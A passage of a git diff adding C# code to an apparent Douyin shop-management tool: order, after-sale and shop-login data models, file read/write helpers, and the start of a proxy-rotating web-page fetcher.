string name { get; set; } + } + public class ChildItem + { + /// + /// + /// + public int adjust_amount { get; set; } + /// + /// + /// + public int adjust_post_amount { get; set; } + /// + /// + /// + public string b_type { get; set; } + /// + /// + /// + public string buyer_words { get; set; } + /// + /// + /// + public string c_type { get; set; } + /// + /// + /// + public string campaign_id { get; set; } + /// + /// + /// + public List campaign_info { get; set; } + /// + /// + /// + public string cancel_reason { get; set; } + /// + /// + /// + public string code { get; set; } + /// + /// + /// + public int combo_amount { get; set; } + /// + /// + /// + public long combo_id { get; set; } + /// + /// + /// + public int combo_num { get; set; } + /// + /// + /// + public string cos_ratio { get; set; } + /// + /// + /// + public int coupon_amount { get; set; } + /// + /// + /// + public List coupon_info { get; set; } + /// + /// + /// + public string coupon_meta_id { get; set; } + /// + /// + /// + public string create_time { get; set; } + /// + /// + /// + public string encrypt_post_receiver { get; set; } + /// + /// + /// + public string encrypt_post_tel { get; set; } + /// + /// + /// + public int exp_ship_time { get; set; } + /// + /// + /// + public int final_status { get; set; } + /// + /// + /// + public string group_buy_group_id { get; set; } + /// + /// + /// + public int group_buy_success_time { get; set; } + /// + /// + /// + public string is_comment { get; set; } + /// + /// + /// + public string is_insurance { get; set; } + /// + /// + /// + public List item_ids { get; set; } + /// + /// + /// + public string item_inventory { get; set; } + /// + /// + /// + public string logistics_code { get; set; } + /// + /// + /// + public int logistics_id { get; set; } + /// + /// + /// + public string logistics_time { get; set; } + /// + /// + /// + public string open_id { get; set; } + /// + /// + /// + public string order_id { get; set; } + /// + /// + /// + public int order_status { get; set; } + /// + /// + /// + public string order_tag { get; set; } + /// + /// + /// + public int order_type { get; set; } + /// + /// + /// + public int out_product_id { get; set; } + /// + /// + /// + public int out_sku_id { get; set; } + /// + /// + /// + public string pay_time { get; set; } + /// + /// + /// + public int pay_type { get; set; } + /// + /// + /// + public string pid { get; set; } + /// + /// + /// + public int platform_direct_reduction_platform_amount { get; set; } + /// + /// + /// + public int platform_full_amount { get; set; } + /// + /// + /// + public Post_addr post_addr { get; set; } + /// + /// + /// + public int post_amount { get; set; } + /// + /// + /// + public string post_code { get; set; } + /// + /// + /// + public string post_receiver { get; set; } + /// + /// + /// + public string post_tel { get; set; } + /// + /// + /// + public int process_type { get; set; } + /// + /// + /// + public long product_id { get; set; } + /// + /// 儿童发饰头皮筋韩版好看少女 + /// + public string product_name { get; set; } + /// + /// + /// + public string product_pic { get; set; } + /// + /// + /// + public object product_tag { get; set; } + /// + /// + /// + public string receipt_time { get; set; } + /// + /// + /// + public int scsp_wh_type { get; set; } + /// + /// + /// + public int seller_remark_stars { get; set; } + /// + /// + /// + public string seller_words { get; set; } + /// + /// + /// + public int shipped_num { get; set; } + /// + /// + /// + public int shop_coupon_amount { get; set; } + /// + /// + /// + public int shop_id { get; set; } + /// + /// + /// + public List spec_desc { get; set; } + /// + /// + /// + public int sub_b_type { get; set; } + /// + /// + /// + public string talent_coupon_discount { get; set; } + /// + /// + /// + public string talent_coupon_id { get; set; } + /// + /// + /// + public string talent_coupon_meta_id { get; set; } + /// + /// + /// + public int total_amount { get; set; } + /// + /// + /// + public int trade_type { get; set; } + /// + /// + /// + public int update_time { get; set; } + /// + /// + /// + public int urge_cnt { get; set; } + } + public class Spec_descItem + { + /// + /// 颜色分类 + /// + public string name { get; set; } + /// + /// 五彩10根 + /// + public string value { get; set; } + } + */ + } +} diff --git a/AllBase/DouYinModel/Result/DouShopLoginInfo.cs b/AllBase/DouYinModel/Result/DouShopLoginInfo.cs new file mode 100644 index 0000000..7c73ec7 --- /dev/null +++ b/AllBase/DouYinModel/Result/DouShopLoginInfo.cs @@ -0,0 +1,41 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Result +{ + public class DouShopLoginInfo + { + public string DbId { get; set; } + public string UserName { get; set; } + public string Password { get; set; } + public string ShopId { get; set; } + public string ShopName { get; set; } + public string Mobile { get; set; } + public string ShopToken { get; set; } + public string Signature { get; set; } + public string TouTiaoId { get; set; } + public string Cookies { get; set; } + public string LoginStatus { get; set; } + public string ApiAuthStatus { get; set; } + /// + /// 上货账户 + /// + public string UploadAccount { get; set; } + /// + /// 拍单(采购)用户账户 + /// + public string BuyAccount { get; set; } + public string Group { get; set; } + public string LastRefreshDate { get; set; } + + public string AccessToken { get; set; } + public string RefreshToken { get; set; } + public string AppKey { get; set; } + public DateTime AddTime { get; set; } + public DateTime ExpiresTime { get; set; } + public DateTime TokenExpiresTime { get; set; } + } +} diff --git a/AllBase/DouYinModel/Result/DouSubAccountModel.cs b/AllBase/DouYinModel/Result/DouSubAccountModel.cs new file mode 100644 index 0000000..759d4f7 --- /dev/null +++ b/AllBase/DouYinModel/Result/DouSubAccountModel.cs @@ -0,0 +1,46 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.DouYinModel.Result +{ + public class DouSubAccountModelItem + { + public List DouSubAccountModel =new List(); + + DouSubAccountModel currentModel = null; + public DouSubAccountModel CurrentModel + { + get + { + if (currentModel == null) + currentModel = DouSubAccountModel.FirstOrDefault(); + else { + for (int i = 0; i < DouSubAccountModel.Count; i++) + { + if (DouSubAccountModel[i] == currentModel) + { + if (i == DouSubAccountModel.Count - 1) + currentModel = DouSubAccountModel[0]; + else + currentModel = DouSubAccountModel[i + 1]; + break; + } + } + } + return currentModel; + } + } + } + + public class DouSubAccountModel + { + public string shop_id { get; set; } + public string sub_user_id { get; set; } + public string status { get; set; } + public string group_id { get; set; } + public string company_id { get; set; } + } +} diff --git a/AllBase/DouYinModel/Result/DouYinAfterSaleOrderModel.cs b/AllBase/DouYinModel/Result/DouYinAfterSaleOrderModel.cs new file mode 100644 index 0000000..ca7dbcb --- /dev/null +++ b/AllBase/DouYinModel/Result/DouYinAfterSaleOrderModel.cs @@ -0,0 +1,391 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.DouYinModel.Result +{ + public class DouYinAfterSaleOrderModel + { + public class DouYinAfterSale + { + /// + /// + /// + public Aftersale_info aftersale_info { get; set; } + /// + /// + /// + public Order_info order_info { get; set; } + /// + /// + /// + public List seller_logs { get; set; } + /// + /// + /// + public Text_part text_part { get; set; } + } + public class seller_logs_model + { + /// + /// "买家觉得小兔子太可爱了,不想要了" + /// + public string content { get; set; } + /// + /// + /// + public string create_time { get; set; } + /// + /// "兔子店铺CEO" + /// + public string op_name { get; set; } + /// + /// + /// + public string star { get; set; } + } + public class Text_part + { + /// + /// 原路退款 + /// + public string aftersale_refund_type_text { get; set; } + /// + /// 待买家退货 + /// + public string aftersale_status_text { get; set; } + /// + /// 退货退款 + /// + public string aftersale_type_text { get; set; } + /// + /// 未介入 + /// + public string arbitrate_status_text { get; set; } + /// + /// + /// + public string bad_item_text { get; set; } + /// + /// 1/1已发货 + /// + public string logistics_text { get; set; } + /// + /// 7天无理由退款 + /// + public string reason_text { get; set; } + /// + /// 未发货 + /// + public string return_logistics_text { get; set; } + } + + public class Order_info + { + /// + /// + /// + public int order_flag { get; set; } + /// + /// + /// + public List related_order_info { get; set; } + /// + /// + /// + public string shop_order_id { get; set; } + } + + public class Related_order_infoItem + { + /// + /// + /// + public int aftersale_item_num { get; set; } + /// + /// + /// + public int aftersale_pay_amount { get; set; } + /// + /// + /// + public int aftersale_post_amount { get; set; } + /// + /// + /// + public int aftersale_tax_amount { get; set; } + /// + /// + /// + public int create_time { get; set; } + /// + /// + /// + public int is_oversea_order { get; set; } + /// + /// + /// + public int item_num { get; set; } + /// + /// + /// + public string logistics_code { get; set; } + /// + /// 中通速递 + /// + public string logistics_company_name { get; set; } + /// + /// + /// + public int order_status { get; set; } + /// + /// + /// + public int pay_amount { get; set; } + /// + /// + /// + public int post_amount { get; set; } + /// + /// + /// + public int price { get; set; } + /// + /// + /// + public string product_id { get; set; } + /// + /// + /// + public string product_image { get; set; } + /// + /// 【优选】智能感应垃圾桶 1秒感应3秒开盖 + /// + public string product_name { get; set; } + /// + /// + /// + public int promotion_pay_amount { get; set; } + /// + /// + /// + public string shop_sku_code { get; set; } + /// + /// + /// + public string sku_order_id { get; set; } + /// + /// + /// + public List sku_spec { get; set; } + /// + /// + /// + public List tags { get; set; } + /// + /// + /// + public int tax_amount { get; set; } + } + public class TagsItem + { + /// + /// 7天 + /// + public string tag_detail { get; set; } + /// + /// + /// + public string tag_detail_en { get; set; } + /// + /// + /// + public string tag_link_url { get; set; } + } + + public class Sku_specItem + { + /// + /// 颜色分类 + /// + public string name { get; set; } + /// + /// 裸粉色(充电款+感应+敲碰) + /// + public string value { get; set; } + } + + public class Aftersale_info + { + /// + /// + /// + public string aftersale_id { get; set; } + /// + /// + /// + public int aftersale_num { get; set; } + /// + /// + /// + public int aftersale_order_type { get; set; } + /// + /// + /// + public int aftersale_refund_type { get; set; } + /// + /// 0 售后初始 6 售后申请 27 拒绝售后申请 12 售后成功 28 售后失败 7 售后退货中 11 售后已发货 29 售后退货拒绝 13 售后换货商家发货 14 售后换货用户收货 + /// + public int aftersale_status { get; set; } + /// + /// + /// + public int aftersale_type { get; set; } + /// + /// + /// + public int apply_time { get; set; } + /// + /// + /// + public int arbitrate_blame { get; set; } + /// + /// + /// + public int arbitrate_status { get; set; } + /// + /// + /// + public int create_time { get; set; } + /// + /// + /// + public string exchange_logistics_company_name { get; set; } + /// + /// + /// + public Exchange_sku_info exchange_sku_info { get; set; } + /// + /// + /// + public int got_pkg { get; set; } + /// + /// + /// + public int left_urge_sms_count { get; set; } + /// + /// + /// + public int part_type { get; set; } + /// + /// + /// + public int refund_amount { get; set; } + /// + /// + /// + public int refund_post_amount { get; set; } + /// + /// 0 无需退款 1 待退款 2 退款中 3 退款成功 4 退款失败 + /// + public int refund_status { get; set; } + /// + /// + /// + public int refund_tax_amount { get; set; } + /// + /// 1极速退款助手 2售后小助手 3售后急速退 4闪电退货 + /// + public int refund_type { get; set; } + /// + /// + /// + public string related_id { get; set; } + /// + /// + /// + public string remark { get; set; } + /// + /// + /// + public string return_logistics_code { get; set; } + /// + /// + /// + public string return_logistics_company_name { get; set; } + /// + /// + /// + public int return_promotion_amount { get; set; } + /// + /// + /// + public int risk_decision_code { get; set; } + /// + /// + /// + public string risk_decision_description { get; set; } + /// + /// + /// + public string risk_decision_reason { get; set; } + /// + /// + /// + public int status_deadline { get; set; } + /// + /// + /// + public int update_time { get; set; } + } + + + public class Exchange_sku_info + { + /// + /// + /// + public string code { get; set; } + /// + /// + /// + public string name { get; set; } + /// + /// + /// + public int num { get; set; } + /// + /// + /// + public string out_sku_id { get; set; } + /// + /// + /// + public string out_warehouse_id { get; set; } + /// + /// + /// + public string price { get; set; } + /// + /// + /// + public string sku_id { get; set; } + /// + /// + /// + public string spec_desc { get; set; } + /// + /// + /// + public string supplier_id { get; set; } + /// + /// + /// + public string url { get; set; } + } + + + } +} diff --git a/AllBase/DouYinModel/Result/DouYinOrderModel.cs b/AllBase/DouYinModel/Result/DouYinOrderModel.cs new file mode 100644 index 0000000..e720738 --- /dev/null +++ b/AllBase/DouYinModel/Result/DouYinOrderModel.cs @@ -0,0 +1,182 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.DouYinModel.Result +{ + public class DouYinOrderModel + { + + /// + /// 订单编号 + /// + public string order_id { get; set; } + /// + /// 主订单号 + /// + public string main_order_id { get; set; } + /// + /// 商品ID + /// + public string product_id { get; set; } + /// + /// 店铺ID + /// + public long shop_id { get; set; } + /// + /// 描述 + /// + public string c_biz_desc { get; set; } + /// + /// 店铺名称 + /// + public string shop_name { get; set; } + /// + /// 商品标题 + /// + public string title { get; set; } + /// + /// 订单状态 + /// 1 待确认/待支付(订单创建完毕) + /// 103 部分支付 + /// 105 已支付 + /// 2 备货中(待发货) + /// 101 部分发货 + /// 3 已发货(全部发货) + /// 4 已取消 + /// 5 已完成(已收货) + /// 21 发货前退款完结 + /// 22 发货后退款完结 + /// 39 收货后退款完结 + /// + public int order_status { get; set; } + /// + /// sku + /// + public string sku { get; set; } + /// + /// sku图片 + /// + public string sku_img { get; set; } + /// + /// 商品数量 + /// + public int count { get; set; } + /// + /// 商品售价 + /// + public string price { get; set; } + /// + /// 订单创建时间 + /// + public string create_time { get; set; } + /// + /// 物流名称 + /// + public string express_name { get; set; } + /// + /// 物流单号 + /// + public string express_no { get; set; } + /// + /// 收件人 + /// + public string name { get; set; } + /// + /// 联系电话 + /// + public string mobile { get; set; } + + /// + /// 省 + /// + public string province { get; set; } + + /// + /// 市 + /// + public string city { get; set; } + + /// + /// 区/县 + /// + public string area { get; set; } + + + /// + /// 收货地址 + /// + public string address { get; set; } + /// + /// 上家商品ID + /// + public string up_product_id { get; set; } + /// + /// 自定义商品ID + /// + public string default_up_ids { get; set; } + + /// + /// 拍单订单编号 + /// + public string order_id_buy { get; set; } + /// + /// 拍单订单状态 0已完成 1待拍单 2等待上家发货 3上家已发货 4售后 5发货异常 + /// + public int order_status_buy { get; set; } + /// + /// 排单售后状态 0无售后 1售后中 2售后完成 + /// + public int order_refund_status_buy { get; set; } + /// + /// 拍单价格 + /// + public string buy_price { get; set; } + /// + /// 拍单时间 + /// + public string buy_time { get; set; } + /// + /// 拍单买手号 + /// + public string buyer_mobile { get; set; } + /// + /// 拍单买手号UID + /// + public string buyer_mobile_uid; + /// + /// 是否催评 0未催评 1已崔 + /// + public int is_evaluate_status { get; set; } + /// + /// 发货异常信息 + /// + public string send_order_error_msg { get; set; } + /// + /// 是否评价 + /// + public int is_comment { get; set; } + /// + /// 订单备注 + /// + public string remark { get; set; } + + /// + /// 佣金 + /// + public string commission { get; set; } = "0.00"; + /// + /// 佣金比例 + /// + public string commission_scale { get; set; } = "0.00"; + + public string sub_user_id { get; set; } + + /// + /// 买家留言 + /// + public string buyer_note { get; set; } + } +} diff --git a/AllBase/FileBase.cs b/AllBase/FileBase.cs new file mode 100644 index 0000000..34e3cc0 --- /dev/null +++ b/AllBase/FileBase.cs @@ -0,0 +1,422 @@ +using System; +using System.IO; +using System.Text; + +namespace AllBase +{ + public static class FileBase + { + /// + /// 文件是否存在 + /// + /// + /// + public static bool Exists(string path) + { + try + { + return File.Exists(path); + } + catch (Exception e) + { + LogSave.Add(e.Message); + return false; + } + } + /// + /// 读取文件 + /// + /// + /// + public static string ReadAllText(string path) + { + return ReadAllText(path, Encoding.Default); + } + + /// + /// 读取文件 + /// + /// + /// + /// + public static string ReadAllText(string path, Encoding encoding) + { + try + { + return File.ReadAllText(path, encoding); + } + catch (Exception e) + { + LogSave.Add(e.Message); + return null; + } + } + + /// + /// 读取文件 + /// + /// + /// + public static string[] ReadAllLines(string path, Encoding encoding) + { + try + { + return File.ReadAllLines(path, encoding); + } + catch (Exception e) + { + LogSave.Add(e.Message); + return null; + } + } + + /// + /// 读取文件 + /// + /// + /// + public static string[] ReadAllLines(string path) + { + return ReadAllLines(path, Encoding.Default); + } + + /// + /// 写入文件 + /// + /// + /// + /// + /// + public static bool WriteAllText(string path, string content, Encoding encoding) + { + try + { + File.WriteAllText(path, content, encoding); + return true; + } + catch (Exception e) + { + LogSave.Add(e.Message); + return false; + } + } + + public static byte[] ReadBytes(string path) + { + try + { + return File.ReadAllBytes(path); + } + catch (Exception e) + { + LogSave.Add(e.Message); + } + return null; + } + + public static bool WriteAllText(string path, string content) + { + return WriteAllText(path, content, Encoding.Default); + } + + public static bool WriteBytes(string path, byte[] content) + { + try + { + File.WriteAllBytes(path, content); + return true; + } + catch (Exception e) + { + LogSave.Add(e.Message); + return false; + } + } + + /// + /// 写入文件 + /// + /// + /// + /// + /// + public static bool AppendAllText(string path, string content, Encoding encoding) + { + try + { + File.AppendAllText(path, content, encoding); + return true; + } + catch (Exception e) + { + LogSave.Add(e.Message); + return false; + } + } + + public static bool AppendAllText(string path, string content) + { + return AppendAllText(path, content, Encoding.Default); + } + + /// + /// 删除文件 + /// + /// + /// + public static bool Delete(string path) + { + try + { + File.Delete(path); + return true; + } + catch (Exception e) + { + LogSave.Add(e.Message); + return false; + } + } + /// + /// 创建目录 + /// + /// + /// + public static bool DirectoryCreate(string path) + { + try + { + if (!Directory.Exists(path)) + { + Directory.CreateDirectory(path); + } + return true; + } + catch (Exception e) + { + LogSave.Add(e.Message); + return false; + } + } + + public static bool Move(string oldFile, string newFile) + { + try + { + File.Move(oldFile, newFile); + return true; + } + catch (Exception e) + { + LogSave.Add(e.Message); + return false; + } + } + + /// + /// 将文本内容写入指定文本 + /// + /// 文件路径 + /// 文本名称 + /// 文本内容 + /// 是否将原来内容置空 + /// 是否是相对路径 ,默认相对路径 + public static void WriteTxt(string path, string fileName, string content, bool isSetEmpty, bool relativePath = true) + { + if (relativePath) + { + path = Environment.CurrentDirectory + path; + } + + try + { + //判断文件路径是否存在 + DirectoryInfo directory = new DirectoryInfo(path); + bool isHas = directory.Exists; + if (!isHas)//若文件路径不存在则创建 + { + isHas = FileBase.DirectoryCreate(path); + } + if (isHas) + { + + string file = fileName + ".txt"; + + string filePath = path + "\\" + file; + + if (isSetEmpty) + { + FileStream fileStream = new FileStream(filePath, FileMode.Create); + StreamWriter streamWriter = new StreamWriter(fileStream, Encoding.Default); + + streamWriter.Write(content); + + streamWriter.Flush(); + streamWriter.Close(); + fileStream.Close(); + } + else + { + //FileStream fileStream = new FileStream(filePath, FileMode.Create); + StreamWriter streamWriter = new StreamWriter(filePath, true); + streamWriter.Write(content); + + streamWriter.Flush(); + streamWriter.Close(); + //fileStream.Close(); + } + + + + } + } + catch (Exception) + { + + //throw; + } + + } + + public static System.Text.Encoding GetFileEncoding(string filename) + { + using (var fs = new System.IO.FileStream(filename, System.IO.FileMode.Open, System.IO.FileAccess.Read)) + using (var br = new System.IO.BinaryReader(fs)) + { + var buffer = br.ReadBytes(2); + if (buffer[0] >= 0xEF) + { + if (buffer[0] == 0xEF && buffer[1] == 0xBB) + { + return System.Text.Encoding.UTF8; + } + + if (buffer[0] == 0xFE && buffer[1] == 0xFF) + { + return System.Text.Encoding.BigEndianUnicode; + } + + if (buffer[0] == 0xFF && buffer[1] == 0xFE) + { + return System.Text.Encoding.Unicode; + } + } + return GetEncodingWithBomUtf8(fs, System.Text.Encoding.Default); + } + } + + private static System.Text.Encoding GetEncodingWithBomUtf8(Stream fs, Encoding defaultEncoding) + { + byte[] unicode = new byte[] { 0xFF, 0xFE, 0x41 }; + byte[] unicodeBig = new byte[] { 0xFE, 0xFF, 0x00 }; + + //带BOM + byte[] utf8 = new byte[] { 0xEF, 0xBB, 0xBF }; + var reVal = defaultEncoding; + + using (var r = new System.IO.BinaryReader(fs)) + { + byte[] ss = r.ReadBytes(4); + if (ss[0] == 0xFE && ss[1] == 0xFF && ss[2] == 0x00) + { + reVal = Encoding.BigEndianUnicode; + } + else if (ss[0] == 0xFF && ss[1] == 0xFE && ss[2] == 0x41) + { + reVal = Encoding.Unicode; + } + else + { + if (ss[0] == 0xEF && ss[1] == 0xBB && ss[2] == 0xBF) + { + reVal = Encoding.UTF8; + } + else + { + int i; + int.TryParse(fs.Length.ToString(), out i); + ss = r.ReadBytes(i); + + if (IsUtf8Bytes(ss)) + { + reVal = Encoding.UTF8; + } + } + } + + return reVal; + } + } + private static bool IsUtf8Bytes(byte[] data) + { + int charByteCounter = 1;  //计算当前正分析的字符应还有的字节数 + for (int i = 0; i < data.Length; i++) + { + var curByte = data[i]; //当前分析的字节. + if (charByteCounter == 1) + { + if (curByte >= 0x80) + { + //判断当前 + while (((curByte <<= 1) & 0x80) != 0) + { + charByteCounter++; + } + //标记位首位若为非0 则至少以2个1开始 如:110XXXXX...........1111110X  + if (charByteCounter == 1 || charByteCounter > 6) + { + return false; + } + } + } + else + { + //若是UTF-8 此时第一位必须为1 + if ((curByte & 0xC0) != 0x80) + { + return false; + } + charByteCounter--; + } + } + if (charByteCounter > 1) + { + throw new Exception("非预期的byte格式!"); + } + return true; + } + + #region 从文本读取内容 + public static string ReadTxt(string path, string fileName, bool relativePath = true) + { + string str = ""; + if (relativePath) + { + path = Environment.CurrentDirectory + path; + } + DirectoryInfo directory = new DirectoryInfo(path); + if (directory.Exists)//存在,开始读 + { + var dics = directory.GetFiles(); + for (int k = 0; k < dics.Length; k++)//循环每个店铺 + { + string file = dics[k].ToString(); + if (!string.IsNullOrEmpty(fileName)) + { + file = fileName; + } + string filePath = path + "\\" + file; + bool isHas = FileBase.Exists(filePath); + if (isHas) + { + str = ReadAllText(filePath); + } + } + } + + return str; + } + #endregion + + } +} diff --git a/AllBase/GetHtml.cs b/AllBase/GetHtml.cs new file mode 100644 index 0000000..26b810f --- /dev/null +++ b/AllBase/GetHtml.cs @@ -0,0 +1,1951 @@ +/* + * 采集网页 + * 肖俊 + * 2013-11-12 + * + */ + +using NaiBa.Util; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Globalization; +using System.IO; +using System.Net; +using System.Security.Cryptography; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; +using System.Web; + +namespace AllBase +{ + public class GetHtml + { + /// + /// 加载远程图片 + /// + /// + /// + public static Image LoadImage(string url) + { + try + { + System.Net.WebRequest webreq = System.Net.WebRequest.Create(url); + System.Net.WebResponse webres = webreq.GetResponse(); + System.IO.Stream stream = webres.GetResponseStream(); + return Image.FromStream(stream); + } + catch + { + return null; + } + + } + + /// + /// 代理抓取 + /// + /// + /// + public static string ByProxy(string url) + { + string html = "", newurl = GetProxyUrlx(url); + Random ro = new Random(); + int i = 0; + MultiThreadClient mc = new MultiThreadClient(); + ReTry: + html = mc.GetHtml(newurl); + if (IsError(ref html)) + { + Thread.Sleep(ro.Next(2000, 6000)); + if (i < 4) + { + i++; + goto ReTry; + } + newurl = GetProxyUrlx(url); + html = mc.GetHtml(newurl); + if (IsError(ref html)) + return mc.GetHtml(url); + return html; + } + Thread.Sleep(100 + BaseClass.WaitTime / 2 + ro.Next(BaseClass.WaitTime)); + Clear(ref html); + return html; + } + /// + /// 清理、处理代码 + /// + /// + private static void Clear(ref string html) + { + html = UrlDecode(html); + html = html.Replace("\\", ""); + } + /// + /// 是否错误 + /// + /// + /// + public static bool IsError(ref string html) + { + return string.IsNullOrEmpty(html) || html.Length < 100 || html.Contains("您的访问出错了") || + html.Contains("访问异常出错"); + } + /// + /// 获取代理地址 + /// + /// + /// + public static string GetProxyUrlx(string url) + { + if (string.IsNullOrEmpty(url)) + return null; + if (BaseClass.ProxyOut.Count == 0) + { + BaseClass.ViewCode += "代理异常"; + return url; + } + Random ra = new Random(); + string p = BaseClass.ProxyOut[ra.Next(BaseClass.ProxyOut.Count)]; + return "http://" + p + "/url=" + url.Replace(".google.", ".goo00gle.") + .Replace("?", "%3f").Replace("=", "%3d").Replace("&", "%26"); + } + /// + /// ascii码转译为汉字 + /// + /// 带ASCII码的字符串 + /// 还原字符串 + public static void AsciiToString(ref string temp) + { + if (string.IsNullOrEmpty(temp)) + return; + //return; + try + { + if (temp.Contains("&#")) + { + Regex reUnicode = new Regex(@"&#[x]([0-9A-Fa-f]{4,5});", RegexOptions.Compiled); + temp = reUnicode.Replace(temp, m => + { + short c; + if (short.TryParse(m.Groups[1].Value, System.Globalization.NumberStyles.HexNumber, CultureInfo.InvariantCulture, out c)) + return "" + (char)c; + return m.Value; + }); + } + if (temp.Contains("\\u")) + { + Regex reUnicode = new Regex(@"\\u([0-9a-fA-F]{4,5})", RegexOptions.Compiled); + temp = reUnicode.Replace(temp, m => + { + short c; + if (short.TryParse(m.Groups[1].Value, System.Globalization.NumberStyles.HexNumber, + CultureInfo.InvariantCulture, out c)) + return "" + (char)c; + return m.Value; + }); + } + } + catch + { + } + //string html = "´,´©,©>,>µ,µ®,®°,°¡,¡, »,»" + + // "¦,¦÷,÷¿,¿¬,¬§,§•,•½,½«,«¶,¶¨,¨" + + // "¸,¸¼,¼<,<±,±×,×¢,¢¾,¾¯,¯“,"" + + // "™,™€,€£,£¥,¥„,„…,…·,·›,›ª,ª" + + // "ˆ,ˆ“,“—,—’,’º,º†,†‹,‹–,–" + + // "‚,‚”,”‡,‡‘,‘‰,‰­,­˜,˜≈,≈" + + // "⁄,⁄←,←∂,∂♠,♠∩,∩≥,≥≤,≤″,″∑,∑♣,♣" + + // "↔,↔◊,◊′,′↑,↑↓,↓♥,♥−,−∏,∏‍,‍♦,♦" + + // "∞,∞≠,≠√,√‌,‌≡,≡∫,∫‾,‾→,→α,αη,η" + + // "μ,μπ,πθ,θβ,βγ,γν,νψ,ψυ,υχ,χι,ι" + + // "ω,ωρ,ρξ,ξδ,δκ,κο,οσ,σζ,ζε,ε" + + // "λ,λφ,φτ,τΑ,ΑΗ,ΗΜ,ΜΠ,ΠΘ,ΘΒ,ΒΓ,Γ" + + // "Ν,ΝΨ,ΨΥ,ΥΧ,ΧΙ,ΙΩ,ΩΡ,ΡΞ,ΞΔ,ΔΚ,Κ" + + // "Ο,ΟΣ,ΣΖ,ΖΕ,ΕΛ,ΛΦ,ΦΤ,Τς,ς&,&"; + //string[] h = html.Split(';'); + //string s1; + //string s2; + //foreach (string s in h) + //{ + // s2 = s.Substring(2, s.Length - 2) + ";"; + // if (!temp.Contains(s2)) + // continue; + // s1 = s.Substring(0, 1); + // temp = temp.Replace(s2, s1); + //} + //return temp; + } + /// + /// html解码,\u解码 + /// + /// + /// + public static string UrlDecode(string html) + { + string temp = HttpUtility.UrlDecode(html); + Regex reUnicode = new Regex(@"\\u([0-9a-fA-F]{4})", RegexOptions.Compiled); + return reUnicode.Replace(temp, m => + { + short c; + if (short.TryParse(m.Groups[1].Value, System.Globalization.NumberStyles.HexNumber, CultureInfo.InvariantCulture, out c)) + return "" + (char)c; + return m.Value; + }); + } + + /// + /// 本地+国内+美国 + /// + /// + /// + /// + public static string GetByMyself(string url, out bool isError, bool isServer) + { + MultiThreadClient mu = new MultiThreadClient(); + mu.TimeOut = isServer ? 40 : 20; + string Html = mu.GetHtml(url); + if (string.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(ProxyIpInUrl(url)); + if (string.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(ProxyIpOutUrl(url)); + if (string.IsNullOrEmpty(Html) || mu.IsError) + { + isError = true; + return null; + } + isError = false; + return Html; + } + /// + /// 国内+本地+美国 + /// + /// + /// + /// + public static string GetByIn(string url, out bool isError, bool isServer) + { + MultiThreadClient mu = new MultiThreadClient(); + mu.TimeOut = isServer ? 40 : 20; ; + string Html = mu.GetHtml(ProxyIpInUrl(url)); + if (string.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(url); + if (string.IsNullOrEmpty(Html) || mu.IsError) + { + mu.TimeOut = 30; + Html = mu.GetHtml(ProxyIpOutUrl(url)); + } + if (string.IsNullOrEmpty(Html) || mu.IsError) + { + isError = true; + return null; + } + isError = false; + return Html; + } + /// + /// 国内+本地+美国 + /// + /// + /// + /// + public static string PostByIn(string url, out bool isError, bool isServer, string data) + { + MultiThreadClient mu = new MultiThreadClient(); + mu.TimeOut = isServer ? 40 : 20; ; + string Html = mu.GetHtml(ProxyIpInUrl(url), Encoding.UTF8.GetBytes(data)); + if (string.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(url, Encoding.UTF8.GetBytes(data)); + if (string.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(ProxyIpOutUrl(url), Encoding.UTF8.GetBytes(data)); + if (string.IsNullOrEmpty(Html) || mu.IsError) + { + isError = true; + return null; + } + isError = false; + return Html; + } + /// + /// 美国+国内+本地 + /// + /// + /// + /// + public static string GetByOut(string url, out bool isError, bool isServer) + { + MultiThreadClient mu = new MultiThreadClient(); + mu.TimeOut = isServer ? 60 : 30; ; + string Html = mu.GetHtml(ProxyIpOutUrl(url)); + if (string.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(ProxyIpInUrl(url)); + if (string.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(url); + if (string.IsNullOrEmpty(Html) || mu.IsError) + { + isError = true; + return null; + } + isError = false; + return Html; + } + /// + /// 美国服务器出口 + /// + /// + /// + public static string ByUsa(string url) + { + bool isError; + return ByUsa(url, out isError, false, false, false, false); + } + /// + /// 美国服务器出口 + /// + /// + /// + public static string ByUsa(string url, bool mobile) + { + bool isError; + return ByUsa(url, out isError, mobile, false, false, false); + } + /// + /// 美国服务器出口 + /// + /// + /// + public static string ByUsa(bool isUtf8, string url) + { + bool isError; + return ByUsa(url, out isError, false, false, isUtf8, false); + } + /// + /// 美国服务器出口 + /// + /// + /// + public static string ByUsa(string url, bool mobile, bool isGbk) + { + bool isError; + return ByUsa(url, out isError, mobile, isGbk, false, false); + } + /// + /// 美国服务器出口 + /// + /// + /// + public static string ByUsaWhoies(string domain) + { + bool isError; + return ByUsa(domain, out isError, false, false, false, true); + } + + /// + /// 美国服务器出口 + /// + /// + /// + /// + public static string ByUsa(string url, out bool isError, bool mobile, bool isGbk, bool isUtf8, bool isWhois) + { + MultiThreadClient mu = new MultiThreadClient(); + mu.TimeOut = 30; + mu.IsGbk = isGbk; + mu.IsUtf8 = isUtf8; + if (mobile) + mu.AddCookies = "Moblie"; + mu.IsWhoies = isWhois; + string Html = mu.GetHtml(GetProxyUrl(BaseClass.ProxyOut, url)); + if (string.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(GetProxyUrl(BaseClass.ProxyOut, url)); + if (string.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(GetProxyUrl(BaseClass.ProxyOut, url)); + if (string.IsNullOrEmpty(Html) || mu.IsError) + { + isError = true; + return null; + } + isError = false; + return Html; + } + + /// + /// 局域网出口 